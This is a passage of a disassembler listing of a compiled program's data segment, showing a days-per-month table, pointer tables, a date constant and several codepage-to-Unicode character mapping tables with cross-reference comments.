dword_41C0C8	dd 0			; DATA XREF: sub_409C44+2Dw
dword_41C0CC	dd 0			; DATA XREF: sub_409C44+36w
unk_41C0D0	db    0	;		; DATA XREF: sub_409C44+3Bo
					; sub_40B194+114o
		db    0	;  
		db    0	;  
		db    0	;  
unk_41C0D4	db  1Fh	;		; DATA XREF: sub_407DC8+24o
					; sub_407F04+F6o
		db    0	;  
		db  1Ch	;  
		db    0	;  
		db  1Fh	;  
		db    0	;  
		db  1Eh	;  
		db    0	;  
		db  1Fh	;  
		db    0	;  
		db  1Eh	;  
		db    0	;  
		db  1Fh	;  
		db    0	;  
		db  1Fh	;  
		db    0	;  
		db  1Eh	;  
		db    0	;  
		db  1Fh	;  
		db    0	;  
		db  1Eh	;  
		db    0	;  
		db  1Fh	;  
		db    0	;  
		db  1Fh	;  
		db    0	;  
		db  1Dh	;  
		db    0	;  
		db  1Fh	;  
		db    0	;  
		db  1Eh	;  
		db    0	;  
		db  1Fh	;  
		db    0	;  
		db  1Eh	;  
		db    0	;  
		db  1Fh	;  
		db    0	;  
		db  1Fh	;  
		db    0	;  
		db  1Eh	;  
		db    0	;  
		db  1Fh	;  
		db    0	;  
		db  1Eh	;  
		db    0	;  
		db  1Fh	;  
		db    0	;  
dword_41C104	dd 0			; DATA XREF: sub_406F20+41r
					; sub_406F20+AFr ...
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
off_41C124	dd offset dword_406BF4	; DATA XREF: sub_40B194+5Bo
					; sub_40B2D4+37o
dword_41C128	dd 0			; DATA XREF: sub_4074D0+25r
					; sub_40A460+1Cw ...
dword_41C12C	dd 80000000h		; DATA XREF: sub_407070+26r
		db    0	;  
		db    0	;  
		db    0	;  
		db  40h	; @
		db    0	;  
		db    0	;  
		db    0	;  
		db 0C0h	; ю
dword_41C138	dd 0			; DATA XREF: sub_407070+1Br
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    1	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    3	;  
		db    0	;  
		db    0	;  
		db    0	;  
off_41C14C	dd offset off_405FC4	; DATA XREF: sub_407688+43r
					; CODE:0040A8C0o
off_41C150	dd offset off_405FCC	; DATA XREF: CODE:0040A8B4o
flt_41C154	dd 8.64e7		; DATA XREF: sub_407C08+8r
dword_41C158	dd 5265C00h		; DATA XREF: sub_407C08+22r
					; sub_407C08+2Cr
unk_41C15C	db  25h	; %		; DATA XREF: sub_408144+26o
		db  2Eh	; .
		db  2Ah	; *
		db  64h	; d
off_41C160	dd offset off_40605C	; DATA XREF: sub_408D9C+3Ao
					; CODE:0040A8A8o
off_41C164	dd offset off_406064	; DATA XREF: CODE:0040A89Co
off_41C168	dd offset off_40606C	; DATA XREF: CODE:0040A890o
off_41C16C	dd offset off_406074	; DATA XREF: CODE:0040A884o
off_41C170	dd offset off_40607C	; DATA XREF: CODE:0040A878o
off_41C174	dd offset off_406084	; DATA XREF: CODE:0040A86Co
off_41C178	dd offset off_40608C	; DATA XREF: CODE:0040A860o
off_41C17C	dd offset off_406094	; DATA XREF: CODE:0040A854o
off_41C180	dd offset off_40609C	; DATA XREF: CODE:0040A848o
off_41C184	dd offset off_4060A4	; DATA XREF: CODE:0040A83Co
off_41C188	dd offset off_4060AC	; DATA XREF: CODE:0040A830o
off_41C18C	dd offset off_4060B4	; DATA XREF: CODE:0040A824o
off_41C190	dd offset off_4060BC	; DATA XREF: sub_408D9C+5Do
					; CODE:0040A818o
off_41C194	dd offset off_4060C4	; DATA XREF: CODE:0040A80Co
off_41C198	dd offset off_4060CC	; DATA XREF: CODE:0040A800o
off_41C19C	dd offset off_4060D4	; DATA XREF: CODE:0040A7F4o
off_41C1A0	dd offset off_4060DC	; DATA XREF: CODE:0040A7E8o
off_41C1A4	dd offset off_4060E4	; DATA XREF: CODE:0040A7DCo
off_41C1A8	dd offset off_4060EC	; DATA XREF: CODE:0040A7D0o
off_41C1AC	dd offset off_4060F4	; DATA XREF: CODE:0040A7C4o
off_41C1B0	dd offset off_4060FC	; DATA XREF: CODE:0040A7B8o
off_41C1B4	dd offset off_406104	; DATA XREF: CODE:0040A7ACo
off_41C1B8	dd offset off_40610C	; DATA XREF: CODE:0040A7A0o
off_41C1BC	dd offset off_406114	; DATA XREF: CODE:0040A794o
off_41C1C0	dd offset off_40611C	; DATA XREF: sub_408D9C+A9o
					; CODE:0040A788o
off_41C1C4	dd offset off_406124	; DATA XREF: CODE:0040A77Co
off_41C1C8	dd offset off_40612C	; DATA XREF: CODE:0040A770o
off_41C1CC	dd offset off_406134	; DATA XREF: CODE:0040A764o
off_41C1D0	dd offset off_40613C	; DATA XREF: CODE:0040A758o
off_41C1D4	dd offset off_406144	; DATA XREF: CODE:0040A74Co
off_41C1D8	dd offset off_40614C	; DATA XREF: CODE:0040A740o
off_41C1DC	dd offset off_406154	; DATA XREF: sub_408D9C+CEo
					; CODE:0040A734o
off_41C1E0	dd offset off_40615C	; DATA XREF: CODE:0040A728o
off_41C1E4	dd offset off_406164	; DATA XREF: CODE:0040A71Co
off_41C1E8	dd offset off_40616C	; DATA XREF: CODE:0040A710o
off_41C1EC	dd offset off_406174	; DATA XREF: CODE:0040A704o
off_41C1F0	dd offset off_40617C	; DATA XREF: CODE:0040A6F8o
off_41C1F4	dd offset off_406184	; DATA XREF: CODE:0040A6ECo
dword_41C1F8	dd 2			; DATA XREF: sub_409608+16r
					; sub_40B194+46o
dword_41C1FC	dd 0			; DATA XREF: sub_409608+24r
					; CODE:0040A6E0o
		db    3	;  
		db    0	;  
		db    0	;  
		db    0	;  
unk_41C204	db    0	;		; DATA XREF: CODE:0040A6D8o
		db    0	;  
		db    0	;  
		db    0	;  
		db    4	;  
		db    0	;  
		db    0	;  
		db    0	;  
unk_41C20C	db    0	;		; DATA XREF: CODE:0040A6D0o
		db    0	;  
		db    0	;  
		db    0	;  
		db    5	;  
		db    0	;  
		db    0	;  
		db    0	;  
unk_41C214	db    0	;		; DATA XREF: CODE:0040A6C8o
		db    0	;  
		db    0	;  
		db    0	;  
dword_41C218	dd 64h			; DATA XREF: sub_409688+21o
					; CODE:0040985Ar ...
unk_41C21C	db    0	;		; DATA XREF: CODE:0040A6C0o
		db    0	;  
		db    0	;  
		db    0	;  
		db  65h	; e
		db    0	;  
		db    0	;  
		db    0	;  
unk_41C224	db    0	;		; DATA XREF: CODE:0040A6B8o
		db    0	;  
		db    0	;  
		db    0	;  
		db  6Ah	; j
		db    0	;  
		db    0	;  
		db    0	;  
unk_41C22C	db    0	;		; DATA XREF: CODE:0040A6B0o
		db    0	;  
		db    0	;  
		db    0	;  
off_41C230	dd offset dword_4064C8	; DATA XREF: sub_40B194+31o
unk_41C234	db    0	;		; DATA XREF: CODE:0040A6A8o
		db    0	;  
		db    0	;  
		db    0	;  
		dd offset dword_406520
unk_41C23C	db    0	;		; DATA XREF: CODE:0040A6A0o
		db    0	;  
		db    0	;  
		db    0	;  
		dd offset dword_406578
unk_41C244	db    0	;		; DATA XREF: CODE:0040A698o
		db    0	;  
		db    0	;  
		db    0	;  
		dd offset dword_40662C
unk_41C24C	db    0	;		; DATA XREF: CODE:0040A690o
		db    0	;  
		db    0	;  
		db    0	;  
		dd offset dword_406684
unk_41C254	db    0	;		; DATA XREF: CODE:0040A688o
		db    0	;  
		db    0	;  
		db    0	;  
		dd offset dword_4066DC
unk_41C25C	db    0	;		; DATA XREF: CODE:0040A680o
		db    0	;  
		db    0	;  
		db    0	;  
		dd offset dword_406734
unk_41C264	db    0	;		; DATA XREF: CODE:0040A678o
		db    0	;  
		db    0	;  
		db    0	;  
		dd offset dword_4067E8
unk_41C26C	db    0	;		; DATA XREF: CODE:0040A670o
		db    0	;  
		db    0	;  
		db    0	;  
		dd offset dword_4068A0
unk_41C274	db    0	;		; DATA XREF: CODE:0040A668o
		db    0	;  
		db    0	;  
		db    0	;  
		dd offset dword_406900
unk_41C27C	db    0	;		; DATA XREF: CODE:0040A660o
		db    0	;  
		db    0	;  
		db    0	;  
		dd offset dword_4069B4
unk_41C284	db    0	;		; DATA XREF: CODE:0040A658o
		db    0	;  
		db    0	;  
		db    0	;  
		dd offset dword_406958
unk_41C28C	db    0	;		; DATA XREF: CODE:0040A650o
		db    0	;  
		db    0	;  
		db    0	;  
		dd offset dword_406A0C
unk_41C294	db    0	;		; DATA XREF: CODE:0040A648o
		db    0	;  
		db    0	;  
		db    0	;  
		dd offset dword_406A0C
unk_41C29C	db    0	;		; DATA XREF: CODE:0040A640o
		db    0	;  
		db    0	;  
		db    0	;  
		dd offset dword_406A0C
unk_41C2A4	db    0	;		; DATA XREF: CODE:0040A638o
		db    0	;  
		db    0	;  
		db    0	;  
		dd offset dword_406A0C
unk_41C2AC	db    0	;		; DATA XREF: CODE:0040A630o
		db    0	;  
		db    0	;  
		db    0	;  
		dd offset dword_406A0C
unk_41C2B4	db    0	;		; DATA XREF: CODE:0040A628o
		db    0	;  
		db    0	;  
		db    0	;  
		dd offset dword_406A0C
unk_41C2BC	db    0	;		; DATA XREF: CODE:0040A620o
		db    0	;  
		db    0	;  
		db    0	;  
		dd offset dword_406A68
unk_41C2C4	db    0	;		; DATA XREF: CODE:0040A618o
		db    0	;  
		db    0	;  
		db    0	;  
		dd offset dword_406410
unk_41C2CC	db    0	;		; DATA XREF: CODE:0040A610o
		db    0	;  
		db    0	;  
		db    0	;  
		dd offset dword_406B24
unk_41C2D4	db    0	;		; DATA XREF: CODE:0040A608o
		db    0	;  
		db    0	;  
		db    0	;  
		dd offset dword_406BD8
unk_41C2DC	db    0	;		; DATA XREF: CODE:0040A600o
		db    0	;  
		db    0	;  
		db    0	;  
unk_41C2E0	db    0	;		; DATA XREF: sub_40A440+1o
		db    0	;  
		db    0	;  
		db    0	;  
off_41C2E4	dd offset aFalse	; DATA XREF: sub_40B4D8+23o
					; "False"
		dd offset dword_40B4BC+8
off_41C2EC	dd offset dword_40B4D4	; DATA XREF: sub_40B4D8+19o
off_41C2F0	dd offset dword_40E504	; DATA XREF: sub_40E514+19o
		dd offset dword_40E504+0Ch
off_41C2F8	dd offset dword_40EAFC	; DATA XREF: sub_40EB0C+19o
		dd offset dword_40EAFC+0Ch
unk_41C300	db  80h	; ─		; DATA XREF: sub_40EBC4+64o
		db    0	;  
		db  81h	; │
		db    0	;  
		db  82h	; ┌
		db    0	;  
		db  83h	; ┐
		db    0	;  
		db  84h	; └
		db    0	;  
		db  85h	; ┘
		db    0	;  
		db  86h	; ├
		db    0	;  
		db  87h	; ┤
		db    0	;  
		db  88h	; ┬
		db    0	;  
		db  89h	; ┴
		db    0	;  
		db  8Ah	; ┼
		db    0	;  
		db  8Bh	; ▀
		db    0	;  
		db  8Ch	; ▄
		db    0	;  
		db  8Dh	; █
		db    0	;  
		db  8Eh	; ▌
		db    0	;  
		db  8Fh	; ▐
		db    0	;  
		db  90h	; ░
		db    0	;  
		db  91h	; ▒
		db    0	;  
		db  92h	; ▓
		db    0	;  
		db  93h	; ⌠
		db    0	;  
		db  94h	; ■
		db    0	;  
		db  95h	; ∙
		db    0	;  
		db  96h	; √
		db    0	;  
		db  97h	; ≈
		db    0	;  
		db  98h	; ≤
		db    0	;  
		db  99h	; ≥
		db    0	;  
		db  9Ah	;  
		db    0	;  
		db  9Bh	; ⌡
		db    0	;  
		db  9Ch	; °
		db    0	;  
		db  9Dh	; ²
		db    0	;  
		db  9Eh	; ·
		db    0	;  
		db  9Fh	; ÷
		db    0	;  
		db 0A0h	; ═
		db    0	;  
		db 0A1h	; ║
		db    0	;  
		db 0A2h	; ╒
		db    0	;  
		db 0A3h	; ё
		db    0	;  
		db 0A4h	; є
		db    0	;  
		db 0A5h	; ╔
		db    0	;  
		db 0A6h	; і
		db    0	;  
		db 0A7h	; ї
		db    0	;  
		db 0A8h	; ╗
		db    0	;  
		db 0A9h	; ╘
		db    0	;  
		db 0AAh	; ╙
		db    0	;  
		db 0ABh	; ╚
		db    0	;  
		db 0ACh	; ╛
		db    0	;  
		db 0ADh	; ґ
		db    0	;  
		db 0AEh	; ў
		db    0	;  
		db 0AFh	; ╞
		db    0	;  
		db 0B0h	; ╟
		db    0	;  
		db 0B1h	; ╠
		db    0	;  
		db 0B2h	; ╡
		db    0	;  
		db 0B3h	; Ё
		db    0	;  
		db 0B4h	; Є
		db    0	;  
		db 0B5h	; ╣
		db    0	;  
		db 0B6h	; І
		db    0	;  
		db 0B7h	; Ї
		db    0	;  
		db 0B8h	; ╦
		db    0	;  
		db 0B9h	; ╧
		db    0	;  
		db 0BAh	; ╨
		db    0	;  
		db 0BBh	; ╩
		db    0	;  
		db 0BCh	; ╪
		db    0	;  
		db 0BDh	; Ґ
		db    0	;  
		db 0BEh	; Ў
		db    0	;  
		db 0BFh	; ©
		db    0	;  
		db 0C0h	; ю
		db    0	;  
		db 0C1h	; а
		db    0	;  
		db 0C2h	; б
		db    0	;  
		db 0C3h	; ц
		db    0	;  
		db 0C4h	; д
		db    0	;  
		db 0C5h	; е
		db    0	;  
		db 0C6h	; ф
		db    0	;  
		db 0C7h	; г
		db    0	;  
		db 0C8h	; х
		db    0	;  
		db 0C9h	; и
		db    0	;  
		db 0CAh	; й
		db    0	;  
		db 0CBh	; к
		db    0	;  
		db 0CCh	; л
		db    0	;  
		db 0CDh	; м
		db    0	;  
		db 0CEh	; н
		db    0	;  
		db 0CFh	; о
		db    0	;  
		db 0D0h	; п
		db    0	;  
		db 0D1h	; я
		db    0	;  
		db 0D2h	; р
		db    0	;  
		db 0D3h	; с
		db    0	;  
		db 0D4h	; т
		db    0	;  
		db 0D5h	; у
		db    0	;  
		db 0D6h	; ж
		db    0	;  
		db 0D7h	; в
		db    0	;  
		db 0D8h	; ь
		db    0	;  
		db 0D9h	; ы
		db    0	;  
		db 0DAh	; з
		db    0	;  
		db 0DBh	; ш
		db    0	;  
		db 0DCh	; э
		db    0	;  
		db 0DDh	; щ
		db    0	;  
		db 0DEh	; ч
		db    0	;  
		db 0DFh	; ъ
		db    0	;  
		db 0E0h	; Ю
		db    0	;  
		db 0E1h	; А
		db    0	;  
		db 0E2h	; Б
		db    0	;  
		db 0E3h	; Ц
		db    0	;  
		db 0E4h	; Д
		db    0	;  
		db 0E5h	; Е
		db    0	;  
		db 0E6h	; Ф
		db    0	;  
		db 0E7h	; Г
		db    0	;  
		db 0E8h	; Х
		db    0	;  
		db 0E9h	; И
		db    0	;  
		db 0EAh	; Й
		db    0	;  
		db 0EBh	; К
		db    0	;  
		db 0ECh	; Л
		db    0	;  
		db 0EDh	; М
		db    0	;  
		db 0EEh	; Н
		db    0	;  
		db 0EFh	; О
		db    0	;  
		db 0F0h	; П
		db    0	;  
		db 0F1h	; Я
		db    0	;  
		db 0F2h	; Р
		db    0	;  
		db 0F3h	; С
		db    0	;  
		db 0F4h	; Т
		db    0	;  
		db 0F5h	; У
		db    0	;  
		db 0F6h	; Ж
		db    0	;  
		db 0F7h	; В
		db    0	;  
		db 0F8h	; Ь
		db    0	;  
		db 0F9h	; Ы
		db    0	;  
		db 0FAh	; З
		db    0	;  
		db 0FBh	; Ш
		db    0	;  
		db 0FCh	; Э
		db    0	;  
		db 0FDh	; Щ
		db    0	;  
		db 0FEh	; Ч
		db    0	;  
		db 0FFh	;  
		db    0	;  
unk_41C400	db  80h	; ─		; DATA XREF: sub_40EBC4+77o
		db    0	;  
		db  81h	; │
		db    0	;  
		db  82h	; ┌
		db    0	;  
		db  83h	; ┐
		db    0	;  
		db  84h	; └
		db    0	;  
		db  85h	; ┘
		db    0	;  
		db  86h	; ├
		db    0	;  
		db  87h	; ┤
		db    0	;  
		db  88h	; ┬
		db    0	;  
		db  89h	; ┴
		db    0	;  
		db  8Ah	; ┼
		db    0	;  
		db  8Bh	; ▀
		db    0	;  
		db  8Ch	; ▄
		db    0	;  
		db  8Dh	; █
		db    0	;  
		db  8Eh	; ▌
		db    0	;  
		db  8Fh	; ▐
		db    0	;  
		db  90h	; ░
		db    0	;  
		db  91h	; ▒
		db    0	;  
		db  92h	; ▓
		db    0	;  
		db  93h	; ⌠
		db    0	;  
		db  94h	; ■
		db    0	;  
		db  95h	; ∙
		db    0	;  
		db  96h	; √
		db    0	;  
		db  97h	; ≈
		db    0	;  
		db  98h	; ≤
		db    0	;  
		db  99h	; ≥
		db    0	;  
		db  9Ah	;  
		db    0	;  
		db  9Bh	; ⌡
		db    0	;  
		db  9Ch	; °
		db    0	;  
		db  9Dh	; ²
		db    0	;  
		db  9Eh	; ·
		db    0	;  
		db  9Fh	; ÷
		db    0	;  
		db 0A0h	; ═
		db    0	;  
		db    4	;  
		db    1	;  
		db 0D8h	; ь
		db    2	;  
		db  41h	; A
		db    1	;  
		db 0A4h	; є
		db    0	;  
		db  3Dh	; =
		db    1	;  
		db  5Ah	; Z
		db    1	;  
		db 0A7h	; ї
		db    0	;  
		db 0A8h	; ╗
		db    0	;  
		db  60h	; `
		db    1	;  
		db  5Eh	; ^
		db    1	;  
		db  64h	; d
		db    1	;  
		db  79h	; y
		db    1	;  
		db 0ADh	; ґ
		db    0	;  
		db  7Dh	; }
		db    1	;  
		db  7Bh	; {
		db    1	;  
		db 0B0h	; ╟
		db    0	;  
		db    5	;  
		db    1	;  
		db 0DBh	; ш
		db    2	;  
		db  42h	; B
		db    1	;  
		db 0B4h	; Є
		db    0	;  
		db  3Eh	; >
		db    1	;  
		db  5Bh	; [
		db    1	;  
		db 0C7h	; г
		db    2	;  
		db 0B8h	; ╦
		db    0	;  
		db  61h	; a
		db    1	;  
		db  5Fh	; _
		db    1	;  
		db  65h	; e
		db    1	;  
		db  7Ah	; z
		db    1	;  
		db 0DDh	; щ
		db    2	;  
		db  7Eh	; ~
		db    1	;  
		db  7Ch	; |
		db    1	;  
		db  54h	; T
		db    1	;  
		db 0C1h	; а
		db    0	;  
		db 0C2h	; б
		db    0	;  
		db    2	;  
		db    1	;  
		db 0C4h	; д
		db    0	;  
		db  39h	; 9
		db    1	;  
		db    6	;  
		db    1	;  
		db 0C7h	; г
		db    0	;  
		db  0Ch	;  
		db    1	;  
		db 0C9h	; и
		db    0	;  
		db  18h	;  
		db    1	;  
		db 0CBh	; к
		db    0	;  
		db  1Ah	;  
		db    1	;  
		db 0CDh	; м
		db    0	;  
		db 0CEh	; н
		db    0	;  
		db  0Eh	;  
		db    1	;  
		db  10h	;  
		db    1	;  
		db  43h	; C
		db    1	;  
		db  47h	; G
		db    1	;  
		db 0D3h	; с
		db    0	;  
		db 0D4h	; т
		db    0	;  
		db  50h	; P
		db    1	;  
		db 0D6h	; ж
		db    0	;  
		db 0D7h	; в
		db    0	;  
		db  58h	; X
		db    1	;  
		db  6Eh	; n
		db    1	;  
		db 0DAh	; з
		db    0	;  
		db  70h	; p
		db    1	;  
		db 0DCh	; э
		db    0	;  
		db 0DDh	; щ
		db    0	;  
		db  62h	; b
		db    1	;  
		db 0DFh	; ъ
		db    0	;  
		db  55h	; U
		db    1	;  
		db 0E1h	; А
		db    0	;  
		db 0E2h	; Б
		db    0	;  
		db    3	;  
		db    1	;  
		db 0E4h	; Д
		db    0	;  
		db  3Ah	; :
		db    1	;  
		db    7	;  
		db    1	;  
		db 0E7h	; Г
		db    0	;  
		db  0Dh	;  
		db    1	;  
		db 0E9h	; И
		db    0	;  
		db  19h	;  
		db    1	;  
		db 0EBh	; К
		db    0	;  
		db  1Bh	;  
		db    1	;  
		db 0EDh	; М
		db    0	;  
		db 0EEh	; Н
		db    0	;  
		db  0Fh	;  
		db    1	;  
		db  11h	;  
		db    1	;  
		db  44h	; D
		db    1	;  
		db  48h	; H
		db    1	;  
		db 0F3h	; С
		db    0	;  
		db 0F4h	; Т
		db    0	;  
		db  51h	; Q
		db    1	;  
		db 0F6h	; Ж
		db    0	;  
		db 0F7h	; В
		db    0	;  
		db  59h	; Y
		db    1	;  
		db  6Fh	; o
		db    1	;  
		db 0FAh	; З
		db    0	;  
		db  71h	; q
		db    1	;  
		db 0FCh	; Э
		db    0	;  
		db 0FDh	; Щ
		db    0	;  
		db  63h	; c
		db    1	;  
		db 0D9h	; ы
		db    2	;  
unk_41C500	db  80h	; ─		; DATA XREF: sub_40EBC4+8Ao
		db    0	;  
		db  81h	; │
		db    0	;  
		db  82h	; ┌
		db    0	;  
		db  83h	; ┐
		db    0	;  
		db  84h	; └
		db    0	;  
		db  85h	; ┘
		db    0	;  
		db  86h	; ├
		db    0	;  
		db  87h	; ┤
		db    0	;  
		db  88h	; ┬
		db    0	;  
		db  89h	; ┴
		db    0	;  
		db  8Ah	; ┼
		db    0	;  
		db  8Bh	; ▀
		db    0	;  
		db  8Ch	; ▄
		db    0	;  
		db  8Dh	; █
		db    0	;  
		db  8Eh	; ▌
		db    0	;  
		db  8Fh	; ▐
		db    0	;  
		db  90h	; ░
		db    0	;  
		db  91h	; ▒
		db    0	;  
		db  92h	; ▓
		db    0	;  
		db  93h	; ⌠
		db    0	;  
		db  94h	; ■
		db    0	;  
		db  95h	; ∙
		db    0	;  
		db  96h	; √
		db    0	;  
		db  97h	; ≈
		db    0	;  
		db  98h	; ≤
		db    0	;  
		db  99h	; ≥
		db    0	;  
		db  9Ah	;  
		db    0	;  
		db  9Bh	; ⌡
		db    0	;  
		db  9Ch	; °
		db    0	;  
		db  9Dh	; ²
		db    0	;  
		db  9Eh	; ·
		db    0	;  
		db  9Fh	; ÷
		db    0	;  
		db 0A0h	; ═
		db    0	;  
		db  26h	; &
		db    1	;  
		db 0D8h	; ь
		db    2	;  
		db 0A3h	; ё
		db    0	;  
		db 0A4h	; є
		db    0	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db  24h	; $
		db    1	;  
		db 0A7h	; ї
		db    0	;  
		db 0A8h	; ╗
		db    0	;  
		db  30h	; 0
		db    1	;  
		db  5Eh	; ^
		db    1	;  
		db  1Eh	;  
		db    1	;  
		db  34h	; 4
		db    1	;  
		db 0ADh	; ґ
		db    0	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db  7Bh	; {
		db    1	;  
		db 0B0h	; ╟
		db    0	;  
		db  27h	; '
		db    1	;  
		db 0B2h	; ╡
		db    0	;  
		db 0B3h	; Ё
		db    0	;  
		db 0B4h	; Є
		db    0	;  
		db 0B5h	; ╣
		db    0	;  
		db  25h	; %
		db    1	;  
		db 0B7h	; Ї
		db    0	;  
		db 0B8h	; ╦
		db    0	;  
		db  31h	; 1
		db    1	;  
		db  5Fh	; _
		db    1	;  
		db  1Fh	;  
		db    1	;  
		db  35h	; 5
		db    1	;  
		db 0BDh	; Ґ
		db    0	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db  7Ch	; |
		db    1	;  
		db 0C0h	; ю
		db    0	;  
		db 0C1h	; а
		db    0	;  
		db 0C2h	; б
		db    0	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0C4h	; д
		db    0	;  
		db  0Ah	;  
		db    1	;  
		db    8	;  
		db    1	;  
		db 0C7h	; г
		db    0	;  
		db 0C8h	; х
		db    0	;  
		db 0C9h	; и
		db    0	;  
		db 0CAh	; й
		db    0	;  
		db 0CBh	; к
		db    0	;  
		db 0CCh	; л
		db    0	;  
		db 0CDh	; м
		db    0	;  
		db 0CEh	; н
		db    0	;  
		db 0CFh	; о
		db    0	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0D1h	; я
		db    0	;  
		db 0D2h	; р
		db    0	;  
		db 0D3h	; с
		db    0	;  
		db 0D4h	; т
		db    0	;  
		db  20h	;  
		db    1	;  
		db 0D6h	; ж
		db    0	;  
		db 0D7h	; в
		db    0	;  
		db  1Ch	;  
		db    1	;  
		db 0D9h	; ы
		db    0	;  
		db 0DAh	; з
		db    0	;  
		db 0DBh	; ш
		db    0	;  
		db 0DCh	; э
		db    0	;  
		db  6Ch	; l
		db    1	;  
		db  5Ch	; \
		db    1	;  
		db 0DFh	; ъ
		db    0	;  
		db 0E0h	; Ю
		db    0	;  
		db 0E1h	; А
		db    0	;  
		db 0E2h	; Б
		db    0	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0E4h	; Д
		db    0	;  
		db  0Bh	;  
		db    1	;  
		db    9	;  
		db    1	;  
		db 0E7h	; Г
		db    0	;  
		db 0E8h	; Х
		db    0	;  
		db 0E9h	; И
		db    0	;  
		db 0EAh	; Й
		db    0	;  
		db 0EBh	; К
		db    0	;  
		db 0ECh	; Л
		db    0	;  
		db 0EDh	; М
		db    0	;  
		db 0EEh	; Н
		db    0	;  
		db 0EFh	; О
		db    0	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0F1h	; Я
		db    0	;  
		db 0F2h	; Р
		db    0	;  
		db 0F3h	; С
		db    0	;  
		db 0F4h	; Т
		db    0	;  
		db  21h	; !
		db    1	;  
		db 0F6h	; Ж
		db    0	;  
		db 0F7h	; В
		db    0	;  
		db  1Dh	;  
		db    1	;  
		db 0F9h	; Ы
		db    0	;  
		db 0FAh	; З
		db    0	;  
		db 0FBh	; Ш
		db    0	;  
		db 0FCh	; Э
		db    0	;  
		db  6Dh	; m
		db    1	;  
		db  5Dh	; ]
		db    1	;  
		db 0D9h	; ы
		db    2	;  
unk_41C600	db  80h	; ─		; DATA XREF: sub_40EBC4+9Do
		db    0	;  
		db  81h	; │
		db    0	;  
		db  82h	; ┌
		db    0	;  
		db  83h	; ┐
		db    0	;  
		db  84h	; └
		db    0	;  
		db  85h	; ┘
		db    0	;  
		db  86h	; ├
		db    0	;  
		db  87h	; ┤
		db    0	;  
		db  88h	; ┬
		db    0	;  
		db  89h	; ┴
		db    0	;  
		db  8Ah	; ┼
		db    0	;  
		db  8Bh	; ▀
		db    0	;  
		db  8Ch	; ▄
		db    0	;  
		db  8Dh	; █
		db    0	;  
		db  8Eh	; ▌
		db    0	;  
		db  8Fh	; ▐
		db    0	;  
		db  90h	; ░
		db    0	;  
		db  91h	; ▒
		db    0	;  
		db  92h	; ▓
		db    0	;  
		db  93h	; ⌠
		db    0	;  
		db  94h	; ■
		db    0	;  
		db  95h	; ∙
		db    0	;  
		db  96h	; √
		db    0	;  
		db  97h	; ≈
		db    0	;  
		db  98h	; ≤
		db    0	;  
		db  99h	; ≥
		db    0	;  
		db  9Ah	;  
		db    0	;  
		db  9Bh	; ⌡
		db    0	;  
		db  9Ch	; °
		db    0	;  
		db  9Dh	; ²
		db    0	;  
		db  9Eh	; ·
		db    0	;  
		db  9Fh	; ÷
		db    0	;  
		db 0A0h	; ═
		db    0	;  
		db    4	;  
		db    1	;  
		db  38h	; 8
		db    1	;  
		db  56h	; V
		db    1	;  
		db 0A4h	; є
		db    0	;  
		db  28h	; (
		db    1	;  
		db  3Bh	; ;
		db    1	;  
		db 0A7h	; ї
		db    0	;  
		db 0A8h	; ╗
		db    0	;  
		db  60h	; `
		db    1	;  
		db  12h	;  
		db    1	;  
		db  22h	; "
		db    1	;  
		db  66h	; f
		db    1	;  
		db 0ADh	; ґ
		db    0	;  
		db  7Dh	; }
		db    1	;  
		db 0AFh	; ╞
		db    0	;  
		db 0B0h	; ╟
		db    0	;  
		db    5	;  
		db    1	;  
		db 0DBh	; ш
		db    2	;  
		db  57h	; W
		db    1	;  
		db 0B4h	; Є
		db    0	;  
		db  29h	; )
		db    1	;  
		db  3Ch	; <
		db    1	;  
		db 0C7h	; г
		db    2	;  
		db 0B8h	; ╦
		db    0	;  
		db  61h	; a
		db    1	;  
		db  13h	;  
		db    1	;  
		db  23h	; #
		db    1	;  
		db  67h	; g
		db    1	;  
		db  4Ah	; J
		db    1	;  
		db  7Eh	; ~
		db    1	;  
		db  4Bh	; K
		db    1	;  
		db    0	;  
		db    1	;  
		db 0C1h	; а
		db    0	;  
		db 0C2h	; б
		db    0	;  
		db 0C3h	; ц
		db    0	;  
		db 0C4h	; д
		db    0	;  
		db 0C5h	; е
		db    0	;  
		db 0C6h	; ф
		db    0	;  
		db  2Eh	; .
		db    1	;  
		db  0Ch	;  
		db    1	;  
		db 0C9h	; и
		db    0	;  
		db  18h	;  
		db    1	;  
		db 0CBh	; к
		db    0	;  
		db  16h	;  
		db    1	;  
		db 0CDh	; м
		db    0	;  
		db 0CEh	; н
		db    0	;  
		db  2Ah	; *
		db    1	;  
		db  10h	;  
		db    1	;  
		db  45h	; E
		db    1	;  
		db  4Ch	; L
		db    1	;  
		db  36h	; 6
		db    1	;  
		db 0D4h	; т
		db    0	;  
		db 0D5h	; у
		db    0	;  
		db 0D6h	; ж
		db    0	;  
		db 0D7h	; в
		db    0	;  
		db 0D8h	; ь
		db    0	;  
		db  72h	; r
		db    1	;  
		db 0DAh	; з
		db    0	;  
		db 0DBh	; ш
		db    0	;  
		db 0DCh	; э
		db    0	;  
		db  68h	; h
		db    1	;  
		db  6Ah	; j
		db    1	;  
		db 0DFh	; ъ
		db    0	;  
		db    1	;  
		db    1	;  
		db 0E1h	; А
		db    0	;  
		db 0E2h	; Б
		db    0	;  
		db 0E3h	; Ц
		db    0	;  
		db 0E4h	; Д
		db    0	;  
		db 0E5h	; Е
		db    0	;  
		db 0E6h	; Ф
		db    0	;  
		db  2Fh	; /
		db    1	;  
		db  0Dh	;  
		db    1	;  
		db 0E9h	; И
		db    0	;  
		db  19h	;  
		db    1	;  
		db 0EBh	; К
		db    0	;  
		db  17h	;  
		db    1	;  
		db 0EDh	; М
		db    0	;  
		db 0EEh	; Н
